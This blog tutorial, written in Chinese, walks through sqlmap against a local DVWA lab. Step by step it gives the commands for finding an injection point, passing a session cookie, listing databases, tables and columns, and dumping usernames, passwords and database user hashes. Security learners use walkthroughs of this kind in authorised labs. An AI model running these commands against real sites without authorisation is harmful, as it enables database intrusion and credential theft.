Sqlmap工具基础用法详解


1.主要功能:

一个用来做sql注入攻击的工具。
扫描、发现、利用给定的url的sql注入漏洞,内置许多绕过插件。

注意:需要python2才能运行,python3不可

sqlmap工具压缩包官方下载地址

2.支持的数据库:

mysql、oracle、sql server、access、DB2、sqlite、postgresql、Firebird、sybase、sap maxDB。

3.采用5种注入技术:

[1]基于布尔的盲注:根据返回页面判断条件真假
[2]基于时间的盲注:使用条件语句查看时间延迟语句是否执行(页面返回时间是否增加)
[3]基于报错注入:返回错误信息,或将注入语句的结果返回页面中
[4]联合查询注入:在允许使用union的情况下注入
[5]堆查询注入:同时执行多条语句注入

4.用法

以DVWA的low等级为实验网站,url为http://127.0.0.1/DVWA-master/vulnerabilities/sqli/

(1)判断是否有注入点
首先三步拿到url
03d75491bfd3b0989cda112f18a5626b.png

python2 sqlmap.py  -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#"

注:当注入点后的参数大于等于两个时,需要加双引号

如果出现以下结果则表明sqlmap检测到有可以注入的地方

结果显示如下
7597e5bf9a8503668c6acde63dee578f.png
发现没有找到注入点。

从结果看发现我们是需要cookie的,然后去dvwa看一下cookie

然后在命令中加入cookie:


python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******"

如果出现以下结果则表明sqlmap检测到有可以注入的地方
30235e9a3dfae35f806441331df7a74e.png

(2)判断文本中的请求是否存在注入

sqlmap可以从一个文本文件中获取http请求(这样的好处在于:不用设置其他参数,例如cookie、post数据等)

下图1.txt的内容是web数据包
dc032fb692dbd9e6ba6deb92354dfdf4.png

sqlmap.py -r 路径/1.txt

注:-r一般存在cookie注入时使用

(3)查询当前用户下的所有数据库

小提示:首先你要先确定有注入点,才能用该命令查询用户的数据库

python2 sqlmap.py  -u  "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" --dbs

执行后会拿到数据库信息
4079615a55a3fb4f22d5e5ff52dfe6f4.png

(4)获取数据库中表的信息

python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" -D dvwa --tables

可以拿到dvwa库中所有表的名字
bab165841e616ed70eea4fad1495fa91.png

注:将上一条命令中的–table缩写成-T时,表示在某表中继续查询
若在该命令中不加-D参数来指定具体的数据库,那么sqlmap会把数据库中所有表列出

(5)获取表中的字段信息

python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" -D dvwa -T users --columns

拿到了表中的所有字段
8475adb05acdab6fc0b7197226e03087.png

注:在后续注入中 –columns可以缩写成-C

(6)获取字段内容

python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" -D dvwa -T users -C username,password --dump

这里获取的是dvwa数据库里的users表中的username和password的值
e61e6bfb9438a7f9b9c8bb5a5af80de8.png

(7)获取数据库的所有用户

python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" --users

(8)获取数据库

python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" --passwords

(9)获取当前网站数据库的名称

python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" --current-db

a9215034277537f3c18a2e891bf9640d.png

(10)获取当前网站数据库的用户名称

python2 sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=b3qlu23g2t781bk3aslt******" --current-user

984c2a56621209c4e9284cd63103991b.png


文章作者: lijunliang
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lijunliang !
评论
 上一篇
Hexo-Matery主题细致美化(上) Hexo-Matery主题细致美化(上)
在一番瞎改js代码后,终于无法忍受next主题,于是愤然投入Matery大家庭,下面是我记录的配置Matery主题的流程,仅供后来的师傅们参考。
下一篇 
Hexo博客:您备案的网站未指向阿里云国内节点(不含香港)服务器,备案号可能被取消接入 Hexo博客:您备案的网站未指向阿里云国内节点(不含香港)服务器,备案号可能被取消接入
工信部备案后一段时间会发来 Hexo博客:您备案的网站未指向阿里云国内节点(不含香港)服务器,备案号可能被取消接入 的短信警告,下面讲述该问题的原因及解决方法。
2020-05-30 lijunliang
  目录